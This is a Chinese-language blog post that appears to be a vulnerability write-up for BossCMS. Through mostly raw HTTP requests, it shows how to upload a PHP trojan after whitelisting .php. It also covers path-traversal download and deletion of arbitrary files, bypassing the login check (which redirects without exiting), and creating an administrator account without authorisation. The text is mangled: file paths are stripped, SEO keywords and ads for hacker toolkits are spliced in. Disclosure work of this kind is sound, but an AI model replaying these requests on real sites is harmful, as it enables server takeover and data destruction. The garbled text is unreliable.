php文件上傳代碼 【點擊查看】黑客技術(shù)文檔學習書籍全套工具包相關(guān)教學視頻php 文件上傳源碼
2022-05-01
前言
以下漏洞已提交給 CNVD 并收錄
后臺上傳任何文件
將 Type.php 添加到后臺安全設(shè)置中
然后通過附件上傳的方式上傳php木馬文件
定位
隨意找到上傳點,然后抓包上傳
修改后綴名發(fā)送后報錯
{"state":"該文件擴展名不允許上傳!"}
這里有一些相關(guān)的學習資料供大家參考[點擊查看]
黑客技術(shù)文檔PDF學習書籍全套工具包
審核源代碼
通過報錯信息定位到 ////..php 下的源碼
else是結(jié)果,然后在if處下斷點
上傳php文件開始調(diào)試
發(fā)現(xiàn)兩個條件都不滿足
php后綴不在$中! $type!=true 表示 $type 不為空
第一個條件
先解決第一個問題,在文件第29行可以看到$變量值得獲取
然后全局搜索,發(fā)現(xiàn)他在/////safe.php中得到了
根據(jù)路由規(guī)則訪問
http://bosscms/admin/#safe
如果有允許的上傳類型,則直接添加.php并保存,返回源碼繼續(xù)上傳.php調(diào)試
可以看出此時$數(shù)組中多了一個值php文件上傳代碼,即.php,成功滿足第一個要求
第二個條件
令!$type!=true,即令$type=null,即執(zhí)行到函數(shù)第35行
這需要滿足$arr數(shù)組中的$ext(.php),然后繼續(xù)看$arr數(shù)組是從
$G['extension'][$t]中獲取的
這里的$t值是,得到的arr是
".jpg", ".gif", ".png", ".jpeg", ".tif", ".bmp", ".ico", ".webp"
全局搜索結(jié)果在 //json/.json
在代碼鍵值中看到我們要上傳的.php
所以我們的$t應(yīng)該是代碼,然后回到..php
$t通過遍歷$得到,$通過除$type得到??梢钥吹秸{(diào)用函數(shù)時$type的默認值為null,所以調(diào)用時指定了code值
跟蹤函數(shù),定位到 ////php/..php 中的第 246 行php文件上傳代碼,調(diào)用函數(shù)并指定代碼值
第二個條件成功解決
測試上傳
很明顯漏洞存在于編輯器的附件上傳中
選擇PHP木馬文件
上傳成功
點擊確認,右鍵打開新鏈接獲取路徑
成功
后臺下載任何文件
后臺搭建url可以下載任意文件
http://bosscms/admin/?mold=safe&part=backup&func=download&id=../../../index.php
定位
定位到 ///safe/..php
可以看到?jīng)]有過濾,直接傳值然后下載文件,get參數(shù)id值為文件名,可以通過
審核源代碼
全局搜索網(wǎng)站優(yōu)化,最后在 ////into..php 的函數(shù)中找到可用的方法
然后就是找到調(diào)用鏈
從 //.php 開始
轉(zhuǎn)到 //.php
////進入..php
函數(shù)執(zhí)行時,使用func值成功調(diào)用方法
$mold 和 $part 用于拼接文件并包含一次,然后創(chuàng)建一個新的 $part 對象然后檢查該對象中是否有 $func 函數(shù),如果存在則調(diào)用它
這樣就可以構(gòu)造url了
http://bosscms/admin/?mold=safe&part=backup&func=download&id=../../../index.php
在方法上設(shè)置斷點并訪問
調(diào)用成功,參數(shù)獲取正確
文件下載成功
并且這個CMS的數(shù)據(jù)庫信息寫在固定文件///ini/.ini.php
可以配合敏感信息泄露
刪除后臺的所有文件
定位
定位到 ///safe/..php
還是沒有過濾,獲取參數(shù)id值作為文件名然后調(diào)用刪除
利用之前的鏈,先在站點根目錄新建test.txt
然后按照規(guī)則構(gòu)造請求包(post:url,get:id)
///safe/..php文件方法
POST /admin/?mold=safe&part=backup&func=delete&id=../../../test.txt HTTP/1.1
Host: bosscms
Content-Length: 135
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://bosscms
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryYe2EcUgaamtd4Xnh
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://bosscms/admin/?mold=safe&part=backup&func=table
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundaryYe2EcUgaamtd4Xnh
Content-Disposition: form-data; name="url"
1
------WebKitFormBoundaryYe2EcUgaamtd4Xnh--
成功刪除文件
未經(jīng)授權(quán)擴大危害
未經(jīng)授權(quán)下載和刪除任意文件
用戶是否登錄的驗證在 ///..php 文件的init函數(shù)中
判斷未登錄時,跳轉(zhuǎn)頁面,但沒有exit()或die()終止程序運行
所以你仍然可以在跳之前得到自己的結(jié)果(這可以在BP中體現(xiàn))
未登錄
先執(zhí)行,成功執(zhí)行結(jié)果得到結(jié)果
任何文件下載都一樣,在BP中可以看到跳轉(zhuǎn)前的結(jié)果
任何文件上傳都是未經(jīng)授權(quán)的
在未經(jīng)授權(quán)的情況下擴大后臺任何文件上傳的攻擊面
文件上傳未授權(quán)
POST /system/extend/ueditor/php/controller.php?action=uploadfile HTTP/1.1
Host: bosscms
Content-Length: 200
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://bosscms
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryvwjLJGiYAdfklq31
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundaryvwjLJGiYAdfklq31
Content-Disposition: form-data; name="upfile"; filename="test.php"
Content-Type: image/png
------WebKitFormBoundaryvwjLJGiYAdfklq31--
修改上傳配置點未授權(quán)
在 ///safe/safe..php文件中找到add函數(shù),參數(shù)可控
仍然是一條鏈,根據(jù)代碼構(gòu)造請求,在post請求中將.php鍵值添加到數(shù)組中
POST /admin/?mold=safe&part=safe&func=add HTTP/1.1
Host: bosscms
Content-Length: 987
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://bosscms
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryLNKwhkxPkcJiHO5I
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://bosscms/admin/?mold=safe&part=safe&func=init&lang=1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundaryLNKwhkxPkcJiHO5I
Content-Disposition: form-data; name="admin_folder"
admin
------WebKitFormBoundaryLNKwhkxPkcJiHO5I
Content-Disposition: form-data; name="admin_login_captcha"
1
------WebKitFormBoundaryLNKwhkxPkcJiHO5I
Content-Disposition: form-data; name="admin_logout_time"
28888
------WebKitFormBoundaryLNKwhkxPkcJiHO5I
Content-Disposition: form-data; name="page_cache_time"
0
------WebKitFormBoundaryLNKwhkxPkcJiHO5I
Content-Disposition: form-data; name="upload_rename"
1
------WebKitFormBoundaryLNKwhkxPkcJiHO5I
Content-Disposition: form-data; name="upload_maxsize"
2
------WebKitFormBoundaryLNKwhkxPkcJiHO5I
Content-Disposition: form-data; name="upload_extension"
[".jpg",".png",".jpeg",".gif",".mp4",".mp3",".pdf",".doc",".xls",".xlsx",".bmp",".csv",".ico",".JPG",".php"]
------WebKitFormBoundaryLNKwhkxPkcJiHO5I
Content-Disposition: form-data; name="ueditor_catchimage"
0
------WebKitFormBoundaryLNKwhkxPkcJiHO5I--
成功的未經(jīng)授權(quán)的配置修改
修改配置后網(wǎng)站開發(fā),任何文件都可以未經(jīng)授權(quán)上傳
訪問執(zhí)行成功
未經(jīng)授權(quán)的用戶操作
用戶操作是比較敏感的操作,順便寫了
定位
定位到 ////..php
add、edit、三個函數(shù)參數(shù)由獲?。煽兀?/p>
按照規(guī)則構(gòu)造請求表單,以下是重點
mold=manager&part=manager&func=add
/system/admin/manager/manager.class.php中的add函數(shù)
POST傳參
username-用戶名
password-密碼
password-確認密碼
level-權(quán)限 (2為系統(tǒng)管理員)
申請包裹
POST /admin/?mold=manager&part=manager&func=add HTTP/1.1
Host: bosscms
Content-Length: 1959
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://bosscms
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryB067fgIWBKtHI4Gy
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://bosscms/admin/?mold=manager&part=manager&func=edit
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundaryB067fgIWBKtHI4Gy
Content-Disposition: form-data; name="username"
123
------WebKitFormBoundaryB067fgIWBKtHI4Gy
Content-Disposition: form-data; name="password"
123
------WebKitFormBoundaryB067fgIWBKtHI4Gy
Content-Disposition: form-data; name="passwords"
123
------WebKitFormBoundaryB067fgIWBKtHI4Gy
Content-Disposition: form-data; name="level"
2
------WebKitFormBoundaryB067fgIWBKtHI4Gy
Content-Disposition: form-data; name="department"
------WebKitFormBoundaryB067fgIWBKtHI4Gy
Content-Disposition: form-data; name="open"
1
------WebKitFormBoundaryB067fgIWBKtHI4Gy
Content-Disposition: form-data; name="permit1"
------WebKitFormBoundaryB067fgIWBKtHI4Gy
Content-Disposition: form-data; name="permit2"
["content&content","items&items","banner&banner","consult&consult","feedback&feedback","search&search","seo&seo","seo&violation","seo&rewrite","anchor&anchor","link&link","plugin&plugin","plugin&market","template&template","template&market","store&store","manager&manager","safe&safe","safe&backup","site&site","site&email","site&sms","site&code","menu&menu","language&language","site&state"]
------WebKitFormBoundaryB067fgIWBKtHI4Gy
Content-Disposition: form-data; name="permit3"
["content&content","items&items","banner&banner","consult&consult","feedback&feedback","search&search","plugin&plugin","safe&backup","site&site","site&code","menu&menu","language&language","site&state"]
------WebKitFormBoundaryB067fgIWBKtHI4Gy
Content-Disposition: form-data; name="permit4"
------WebKitFormBoundaryB067fgIWBKtHI4Gy
Content-Disposition: form-data; name="image"
------WebKitFormBoundaryB067fgIWBKtHI4Gy
Content-Disposition: form-data; name="alias"
------WebKitFormBoundaryB067fgIWBKtHI4Gy
Content-Disposition: form-data; name="email"
------WebKitFormBoundaryB067fgIWBKtHI4Gy
Content-Disposition: form-data; name="phone"
------WebKitFormBoundaryB067fgIWBKtHI4Gy--
成功添加管理員用戶
以管理員權(quán)限成功登錄
后記
這些是一些簡單而常見的漏洞點。主要原因是門禁系統(tǒng)崩潰,后臺切換到前臺,因為程序在跳轉(zhuǎn)后沒有及時終止。